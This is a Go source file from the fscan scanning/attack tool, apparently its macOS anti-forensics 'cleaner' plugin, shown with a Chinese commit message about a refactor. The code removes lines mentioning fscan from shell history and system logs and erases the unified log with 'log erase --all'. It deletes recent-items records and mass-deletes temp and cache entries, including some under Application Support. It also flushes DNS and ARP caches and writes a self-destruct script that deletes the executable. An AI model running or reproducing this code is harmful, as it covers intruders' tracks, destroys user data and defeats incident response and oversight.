fscan/plugins/local_backup/cleaner/cleaner_darwin.go
ZacharyZcR 678d750c8a refactor: 重构插件架构,实现单文件插件系统
将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构,
大幅减少代码重复和维护成本,提升插件开发效率。

主要改进:
• 将每个服务插件从3个文件简化为1个文件
• 删除过度设计的工厂模式、适配器模式等抽象层
• 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构
• 实现直接的插件注册机制,提升系统简洁性
• 保持完全向后兼容,所有扫描功能和输出格式不变

重构统计:
• 删除文件:100+个复杂架构文件
• 新增文件:20个简化的单文件插件
• 代码减少:每个插件减少60-80%代码量
• 功能增强:所有插件包含完整扫描和利用功能

已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle,
Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP,
Rsync, SMTP, SNMP, Telnet, VNC

验证通过: 新系统编译运行正常,所有插件功能验证通过
2025-08-25 23:57:00 +08:00

404 lines
11 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build darwin
package cleaner
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
// cleanSystemTraces 清理macOS系统痕迹
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 1. 清理Shell历史记录
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
cleaned = append(cleaned, shellHistory...)
report["shell_history"] = shellHistory
}
// 2. 清理系统日志
if systemLogs := p.cleanMacSystemLogs(); len(systemLogs) > 0 {
cleaned = append(cleaned, systemLogs...)
report["system_logs"] = systemLogs
}
// 3. 清理最近项目记录
if recentItems := p.cleanRecentItems(); len(recentItems) > 0 {
cleaned = append(cleaned, recentItems...)
report["recent_items"] = recentItems
}
// 4. 清理Spotlight索引
if spotlight := p.cleanSpotlightIndex(); len(spotlight) > 0 {
cleaned = append(cleaned, spotlight...)
report["spotlight_index"] = spotlight
}
// 5. 清理临时文件
if tempFiles := p.cleanMacTempFiles(); len(tempFiles) > 0 {
cleaned = append(cleaned, tempFiles...)
report["temp_files"] = tempFiles
}
// 6. 清理LaunchServices数据库
if launchServices := p.cleanLaunchServicesDB(); len(launchServices) > 0 {
cleaned = append(cleaned, launchServices...)
report["launch_services"] = launchServices
}
p.cleanupStats["system_entries"] += len(cleaned)
report["total_cleaned"] = len(cleaned)
return report
}
// cleanShellHistory 清理Shell历史记录 (与Linux类似)
func (p *CleanerPlugin) cleanShellHistory() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// macOS常见的Shell历史文件
historyFiles := []string{
".bash_history",
".zsh_history",
".sh_history",
}
for _, histFile := range historyFiles {
histPath := filepath.Join(homeDir, histFile)
if _, err := os.Stat(histPath); os.IsNotExist(err) {
continue
}
content, err := os.ReadFile(histPath)
if err != nil {
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
continue
}
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
} else {
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
}
}
}
// 清理当前会话历史
if err := exec.Command("history", "-c").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
} else {
cleaned = append(cleaned, "Current session history")
common.LogSuccess("已清理当前会话历史记录")
}
return cleaned
}
// cleanMacSystemLogs 清理macOS系统日志
func (p *CleanerPlugin) cleanMacSystemLogs() []string {
var cleaned []string
// macOS系统日志路径
logPaths := []string{
"/var/log/system.log",
"/var/log/install.log",
"/var/log/secure.log",
}
// 用户日志目录
homeDir := os.Getenv("HOME")
if homeDir != "" {
userLogDir := filepath.Join(homeDir, "Library", "Logs")
if entries, err := os.ReadDir(userLogDir); err == nil {
for _, entry := range entries {
if strings.Contains(strings.ToLower(entry.Name()), "fscan") {
logPaths = append(logPaths, filepath.Join(userLogDir, entry.Name()))
}
}
}
}
for _, logPath := range logPaths {
if _, err := os.Stat(logPath); os.IsNotExist(err) {
continue
}
if p.filterLogFile(logPath) {
cleaned = append(cleaned, logPath)
}
}
// 使用log命令清理系统日志
if err := exec.Command("log", "erase", "--all").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理统一日志失败 (权限不足): %v", err))
} else {
cleaned = append(cleaned, "Unified Logging System")
common.LogSuccess("已清理统一日志系统")
}
return cleaned
}
// filterLogFile 过滤日志文件 (与Linux类似)
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
if err != nil {
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
return false
}
defer file.Close()
content, err := os.ReadFile(logPath)
if err != nil {
return false
}
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
return false
}
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
return true
}
return false
}
// cleanRecentItems 清理macOS最近项目记录
func (p *CleanerPlugin) cleanRecentItems() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// 最近项目plist文件
recentPaths := []string{
filepath.Join(homeDir, "Library", "Preferences", "com.apple.recentitems.plist"),
filepath.Join(homeDir, "Library", "Application Support", "com.apple.sharedfilelist"),
}
for _, recentPath := range recentPaths {
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
continue
}
// 对于plist文件我们采用删除整个文件的方式
if strings.HasSuffix(recentPath, ".plist") {
if err := os.Remove(recentPath); err != nil {
common.LogDebug(fmt.Sprintf("删除最近项目文件失败: %v", err))
} else {
cleaned = append(cleaned, recentPath)
common.LogSuccess(fmt.Sprintf("已删除最近项目记录: %s", filepath.Base(recentPath)))
}
}
}
return cleaned
}
// cleanSpotlightIndex 清理Spotlight索引
func (p *CleanerPlugin) cleanSpotlightIndex() []string {
var cleaned []string
// 重建当前目录的Spotlight索引
if err := exec.Command("mdutil", "-E", p.workingDirectory).Run(); err != nil {
common.LogDebug(fmt.Sprintf("重建Spotlight索引失败: %v", err))
} else {
cleaned = append(cleaned, fmt.Sprintf("Spotlight index for %s", p.workingDirectory))
common.LogSuccess("已重建Spotlight索引")
}
return cleaned
}
// cleanMacTempFiles 清理macOS临时文件
func (p *CleanerPlugin) cleanMacTempFiles() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
// macOS临时目录
tempDirs := []string{
"/tmp",
"/var/tmp",
}
if homeDir != "" {
tempDirs = append(tempDirs, []string{
filepath.Join(homeDir, "Library", "Caches"),
filepath.Join(homeDir, "Library", "Application Support"),
}...)
}
for _, tempDir := range tempDirs {
entries, err := os.ReadDir(tempDir)
if err != nil {
continue
}
for _, entry := range entries {
entryName := strings.ToLower(entry.Name())
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "tmp") {
entryPath := filepath.Join(tempDir, entry.Name())
// 检查文件修改时间
if info, err := entry.Info(); err == nil {
if time.Since(info.ModTime()) < 5*time.Minute {
continue
}
}
if entry.IsDir() {
if err := os.RemoveAll(entryPath); err != nil {
common.LogDebug(fmt.Sprintf("删除临时目录失败: %v", err))
} else {
cleaned = append(cleaned, entryPath)
p.cleanupStats["directories"]++
}
} else {
if err := os.Remove(entryPath); err != nil {
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
} else {
cleaned = append(cleaned, entryPath)
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
}
}
}
}
}
return cleaned
}
// cleanLaunchServicesDB 清理LaunchServices数据库
func (p *CleanerPlugin) cleanLaunchServicesDB() []string {
var cleaned []string
// 重建LaunchServices数据库
if err := exec.Command("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister", "-kill", "-r", "-domain", "local", "-domain", "system", "-domain", "user").Run(); err != nil {
common.LogDebug(fmt.Sprintf("重建LaunchServices数据库失败: %v", err))
} else {
cleaned = append(cleaned, "LaunchServices Database")
common.LogSuccess("已重建LaunchServices数据库")
}
return cleaned
}
// cleanNetworkTraces 清理网络痕迹
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 清理DNS缓存
if err := exec.Command("dscacheutil", "-flushcache").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
} else {
cleaned = append(cleaned, "DNS Cache (dscacheutil)")
common.LogSuccess("已清理DNS缓存")
}
// 清理mDNS缓存
if err := exec.Command("killall", "-HUP", "mDNSResponder").Run(); err != nil {
common.LogDebug(fmt.Sprintf("重启mDNSResponder失败: %v", err))
} else {
cleaned = append(cleaned, "mDNS Cache")
common.LogSuccess("已重启mDNSResponder")
}
// 清理ARP缓存
if err := exec.Command("arp", "-d", "-a").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
} else {
cleaned = append(cleaned, "ARP Cache")
common.LogSuccess("已清理ARP缓存")
}
report["network_caches"] = cleaned
report["total_cleaned"] = len(cleaned)
return report
}
// createUnixSelfDestruct 创建Unix自毁脚本 (与Linux共用)
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
report := make(map[string]interface{})
// 创建shell自毁脚本
shellScript := fmt.Sprintf(`#!/bin/bash
sleep 2
rm -f "%s" 2>/dev/null
rm -f "$0" 2>/dev/null
exit 0`, p.currentExecutable)
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
report["status"] = "failed"
report["error"] = err.Error()
} else {
// 异步执行自毁脚本
go func() {
time.Sleep(1 * time.Second)
cmd := exec.Command("/bin/bash", scriptPath)
cmd.Start()
}()
report["status"] = "scheduled"
report["script_path"] = scriptPath
common.LogInfo("已创建自毁脚本,将在退出后执行")
}
return report
}
// prepareSelfDestruction 准备自毁
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
return p.createUnixSelfDestruct()
}